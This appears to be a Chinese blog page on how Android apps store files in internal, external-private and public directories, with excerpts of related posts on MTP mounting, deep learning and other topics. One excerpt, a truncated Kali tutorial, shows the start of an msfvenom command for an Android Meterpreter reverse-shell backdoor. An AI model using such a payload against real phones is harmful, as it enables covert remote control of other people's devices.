Android 手机存储相关内容

Kali 下对安卓手机的攻击 写在前面:本文仅限学术交流,请勿用他人实践 Kali对安卓手机的攻击(渗透) 我们首先需要确定本机IP 这很简单,对于Kali来说我们需要打开终端并键入 ifconfig 即可获取自己的IP,然后我们需要确定安卓手机也就是被攻击者的IP,只需键入 fping -g 本机IP地址/24 这时我们就能确定目标IP,这次教程主要围绕创建后门程序展开 在终端中执行: # msfvenom -p android/meterpreter/reverse_tcp LHOST=目标IP LPORT= 阅读详情

应用操作的文件存储位置分为三个部分:
1、应用内部存储私有文件目录
2、应用外部存储私有文件目录
3、公有目录

Android手机存储分为两个部分:内部存储和外部存储,内部存储一般是手机自带的存储空间,外部存储指外插SD卡提供的存储空间;随着手机发展,这两个存储的定义又有了一些些变化,新的手机不再有外插SD卡的概念,采取了内置闪存(eMMC、UFS等)的方式,所以内部存储和外部存储在新的Android手机上已经在同一个硬件上了。

1、用户对 App 进行数据清理或卸载可以清理应用外部存储和内部存储下的所有文件目录。
(1)内部存储:存储的文件夹其他应用和用户无法直接访问,可以用于存放敏感数据。不需要申请文件读写权限也能够使用。
(2)外部存储:需要权限(getetExternalCacheDir() 和 getExternalFilesDir() 这两个方法从4.4之后不再需要读写权限)。在Android Q之前其他应用是可以访问修改外部存储的应用私有目录的,这个要注意。使用外部存储之前一定要检查外部存储是否可用,因为旧设备不一定会有外部存储,新手机也不一定会给你读写权限,就算用户不给你权限,你的app也要运行啊,不然就不用你的了。

2、共有目录:应用卸载不会不会随之清理。在Android Q被废弃了(但是Q之前还是能好好使用的),应用存储功能沙箱化,文件存放到沙箱外面要使用 DocumentFile,共享媒体文件要使用MediaStore进行。

具体内容,传送门:好好管理你应用的文件夹,别再乱用了


补充内容:
1、Android 11 中的存储机制更新

[开发技巧]·安卓手机开发深度学习简易教程(基于Keras) 本教程基于安卓手机平台,在PyDroid3软件上,使用Python3语言配合Keras框架开发深度学习。本文章主要涉及在手机上开发环境的搭建,以及简单的示例代码,如果想深入研究开发,还需要读者自己花些功夫了。不废话,开始教程。。 准备工作 1、手上需要有一个安卓手机,最近两年发布的机型都可以,性能不要太弱,因为跑深度学习代码还是很吃性能的。我用的是小米8,跑cnn长时间会发热。 2、下载PyD... 阅读详情

相关推荐

jmtpfs:jmtpfs工作源

jmtpfs: jmtpfs是用于访问MTP(媒体传输协议)设备的基于FUSE和libmtp的文件系统。 它是专为在Linux(和Mac OS X)系统与支持MTP但不支持USB Mass Storage的较新Android设备之间交换文件而设计的。 目标是创建行为良好的文件系统,使诸如find和rsync之类的工具能够按预期工作。 使用libmagic基于文件类型检测自动设置MTP文件类型。 设置文件似乎对于某些Android应用(例如Gallery)来说是必须的,以便能够找到和使用这些文件。 由于它是一个Android文件传输工具,并且我没有要测试的非Android MTP设备,因此不支持播放列表和其他非基于文件的数据。 构建和安装: 请参阅安装文件。 用法: 使用目录作为参数运行jmtpfs,它将把找到的第一个MTP设备安装到该目录。 然后,您可以像访问普通磁盘一样访问

jmtpfs:一个用于挂载MTP设备的文件系统

jmtpfs:一个用于挂载MTP设备的文件系统 项目介绍 jmtpfs是一款基于Python编写的开源工具,它允许用户将支持MTP(Media Transfer Protocol)的设备(如Android手机、某些相机等)挂载为Linux系统的文件系统,从而能够像访问普通目录一样操作这些设备上的文件。该项目由Jason Ferrara维护,提供了便捷的方式去管理和传输MTP设备中的数据,无需依赖额...

gitblog_00052的博客 1045

mtpfs-dkms:适用于 Linux 内核的本机媒体传输协议 (MTP) 文件系统驱动程序 [WIP]

mtpfs-dkms 适用于 Linux 内核的本机媒体传输协议 (MTP) 文件系统驱动程序 [WORK-IN-PROGRESS] 基于 libmtp 和 mtpfs/jmtpfs FUSE 驱动程序。 在当前存储库中进行任何修改之前,用于编写和共享代码库的凭据归该代码的各自作者所有。

Linux应用随笔(六)MTP访问安卓手机内部存储

我用的是Debian,需要使用jmtpfs。 安装:sudo apt-get install mtp-tools jmtpfs准备:sudo mkdir /media/mtp sudo chmod 755 /media/mtp挂载:sudo jmtpfs -o allow_other /media/mtp弹出:sudo umount /media/mtp

CanvaBlog 6511

C++利用spdlog生成日志

C++利用spdlog生成日志下载编译spdlog配置并使用 环境:Win10-x64+VS2015 spdlog是一个快速的C++日志库,能够兼容C++11,具备快速、无需依赖第三方库、支持多线程、多平台的优良特性! 下载编译spdlog 1.第一步,下载spdlog 下载spdlog,下载地址:https://github.com/gabime/spdlog#header-only-version,从Github上下载zip压缩包。下载完成后会获取一个名为spdlog-1.x.zip的压缩包 2.第二步

weixin_42975610的博客 3216

80MHz~100MHz频谱分析仪设计

由理论分析可知,经过乘法器后输出的信号为频率为w1+w2的高频信号和w1-w2的低频信号,除了想要采样的直流信号外,最小的信号频率为100kHz。因此,经过一系列推导可以得到该滤波器的元件C1,C2,C3,R1,R2的近似值分别为:C1=2.36nF,C2=32.1nF,C3=1.07nF,R1=1.39k,R2=2.84k。AK,此时的频率w2即为被测信号的频率,待测信号源电压幅度为,因此为了能达到直流采样的设计,我们将本振源的频率输出范围做成80~110 MHz,提高了题目的频率要求。

qq_48771816的博客 5242

linux电脑访问android手机存储

linux电脑访问android手机存储 Linux 电脑安装jmtpfs:apt-get install jmtpfs 安装后,/dev 目录下有libmtp-1-2 文件,版本不一样也可以是 libmtp-x-x。 挂载文件系统:jmtpfs /xxxxx (/xxxxx 自己想写啥写啥) 访问文件系统:cd /xxxx,就看到这个 cd 内部共享存储空间; ls 就看到手机存储根目录:

Robe_zhang 个人博客 1万+

Windows域账户无管理员权限也能装软件?3步搞定UAC设置(附安全提醒)

本文探讨了在Windows域环境中,如何通过配置用户账户控制(UAC)实现临时提权,让无管理员权限的域账户也能安装软件。文章详细介绍了三步走策略:临时加入本地管理员组、调整UAC行为以及至关重要的权限回收,并提供了脚本化部署方案与安全实践指南,旨在平衡企业IT管理的效率与安全。

fox11的博客 756

探索跨平台文件传输新纪元: jmtpfs

探索跨平台文件传输新纪元: jmtpfs 项目介绍 jmtpfs,一个基于FUSE和libmtp的创新文件系统,专为解决现代Android设备的MTP(媒体传输协议)访问难题而生。在Linux和Mac OS X环境下,jmtpfs如同一座桥梁,跨越了USB存储不支持的障碍,让你能以传统文件系统的方式自由地与Android设备交换数据。 技术剖析 jmtpfs的核心在于其巧妙利用了FUSE(File...

gitblog_00054的博客 498

STK中的传感器、雷达、发射机、接收机、天线

本文根据STK手册介绍了传感器、雷达、发射机、接收机、天线等对象的基本属性,简略分析了它们的不同之处。

wangyulj的专栏 1万+

带隙基准源要点

要点: 负反馈>正反馈;电流镜匹配;双极型晶体管匹配;电阻匹配; 经过R0的电流????????????=????????????????−????????????????????????=∆????????????????????i_R0=(〖VBE〗_1-〖VBE〗_2)/R_0 =∆VBE/R_0 经过R1的电流????????????=i_R1= ????????????????????VBE/R_1 零温电流I = ∆????????????????????∆VBE/R_0 +

HI_WALLE的博客 2261

Android手机的内部存储和外部存储

门心叼龙的专栏 1286

第3章 基于三电平空间矢量的中点电位平衡策略

本文档深入探讨了基于三电平空间矢量的中点电位平衡策略。重点在于NPC型三电平逆变器的中点电位平衡问题,由于三电平结构的特点,使得直流侧两个电解电容器的充放电不均匀导致中点电压不均衡。文章通过对不同矢量作用下电流、电压的变化进行了详细的定量和定性分析,并提出了利用冗余小矢量的合理配置以及引入调制因子来解决中点电位偏移的方法,确保中点电压在一个完整的开关周期内的稳定性,进而提高系统的可靠性。

嵌入式老牛的博客 2182

Android Q R分区存储权限

如果最大版本是Q <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" /> <application .... android:requestLegacyExternalStora

xianrenli38的博客 1114

华为OD机考真题 新系统 - 小菊的寻宝之旅(Java/Py/C/C++/Js/Go)

华为OD机试真题 新系统【小菊的寻宝之旅】,提供C语言、Java、C++、Python、Go、JavaScript源码实现,并提供完整思路讲解,以及在线OJ模拟做题。华为OD机试真题 【小菊的寻宝之旅】多语言题解。

qq_45776114的博客 616

一文读懂AI协同办公领域发展和趋势

协同办公,又称OA,是指企业内部或外部各类人员之间利用信息技术来进行协作工作的一种形式。这种协作工作既可以由直接员工进行,也可以来自外部的咨询机构、合作伙伴或联营企业。协同办公的优势在于可以对资源进行有效管理和配置,各部门之间可以建立良好的协作关系,跨部门更好地实现资源共享。

女王の专属领地 2355

安卓 proot-distro 获取安卓手机上连接的移动硬盘

【代码】安卓 proot-distro 获取安卓手机上连接的移动硬盘。

qq_31683775的博客 288

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

android 读取存储,android之文件存储和读取

一、权限问题手机中存储空间分为ROM和SDcard,ROM中放着操作系统以及我们安装的APP,而sdcard中一般放置着我们APP产生的数据。当然,Android也为每个APP在ROM中创建一个数据存储空间,具体目录是/data/data下。在真机中调试中,该目录对于其他用户是没有开启任何权限,所以在DDMS中我们是打不开该目录的。解决方案就是我们通过adb登录到我们手机上,然后直接切换到root...

weixin_39713833的博客 394

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

下列哪个可做 Android 数据存储,Android应用开发试题

Android应用开发试题一、选择题(每题2分,共30分)1. 下列不是手机操作系统的是?()DA. Android B. Window Mobile C. Apple IPhone IOS D.windows vista2.Android的VM虚拟机是哪个? AA.Dalvik B.JVM C.KVM D. framework3. AndroidVM虚拟机中运行的文件的后缀名为()C...

weixin_31995251的博客 706

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

2019.07.12 Android 保存与读取文件

申请权限(AndroidManifest.xml中) 应用程序文件夹(data\data<包名>\files)读写权限 手机存储目录读写权限 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:n...

qq_39586925的博客 479

android导出短信,Android应用log信息保存到手机本地

为了方便测试机不在手头上,但是出现问题的时候无法真机调试时,将报错的log信息存储到手机本地代码如下:import android.content.Context;import android.os.Environment;import java.io.BufferedReader;import java.io.File;import java.io.FileNotFoundException;i...

weixin_31533357的博客 292

ContentProviderneir内容提供者

A:ContentProvider 一.ContentProvider介绍: 1.ContentProvider内容提供者(四大组件之一)主要用于在不同的应用程序之间实现数据共享的功能。 2.技能get点: (1)访问系统自带的内容提供者(******) 手机联系人/音频/视频/图库/短信/系统设置 (2)自己写内容提供者 3.注意: Contentprovider3个重要的点 Contentpr...

TimPika的博客 278

直播代码,Android图片压缩算法

直播代码,Android图片压缩算法相关的代码 1获取手机存储图片,默认一个像素占4个字节 System.out.println("手机存储路径----------》:"+Environment.getExternalStorageDirectory()); String path= Environment.getExternalStorageDirectory()+"/JDIM/smiley/test2.jpg"; Bitmap bitmap= BitmapFactory

云豹网络科技 274

安卓手机android英文版怎么解决,关于计算机专业移动安卓手机应用程序页面错误的毕业设计论文英文英语外文文献翻译成品资料:安卓Android系统中的Linux页面故障分析(中英文双语对照).docx...

本文是中英对照毕业设计论文外文文献翻译,下载后无需调整复杂的格式直接可用!一辈子也就一次的事!文献引用作者出处信息:Orlando,P. Amato,D. Caraccio , M. Cinque , R. Izzi, G. Mirichigni, L. Porzio Microprocessors and Microsystems,66 (2019) 10–18(如觉...

weixin_31476341的博客 114

钛备份提示 android id,钛备份(com.keramidas.TitaniumBackup) - 8.3.3 - 应用 - 酷安

权限信息· 读取您的USB存储设备中的内容· 修改或删除您的USB存储设备中的内容· android.permission.READ_MEDIA_STORAGE· 修改/删除内部媒体存储设备的内容· 防止手机休眠· 完全的网络访问权限· 开机启动· 控制振动· 读取手机状态和身份· 查找设备上的帐户· 使用设备上的帐户· 查看网络连接· com.android.browser.permission...

weixin_27012987的博客 776

安卓手机安装Linux系统

安卓手机安装Linux系统(安卓机顶盒安装Linux系统) 前言: 这里介绍的方法是Linux Deploy ,是需要root安卓设备的,因为需要到很多的权限,是在主系统上运行的,是运行一个Linux 的img 镜像,所以不会破坏主系统,而且过程相对简单,热衷于Linux以及爱动手的同学可以尝试一下,安卓设备是可以运行的,笔者这里介绍在安卓手机和安卓网络机顶盒上安装 Ubuntu mate 的过

Zebiao Wu Blog 3万+
上一篇: 关于代码编写时「抽象」概念的一点点心得
下一篇: CI、CD、Pipeline 概念
OneDeveloper
博客等级 码龄9年 61粉丝 161原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值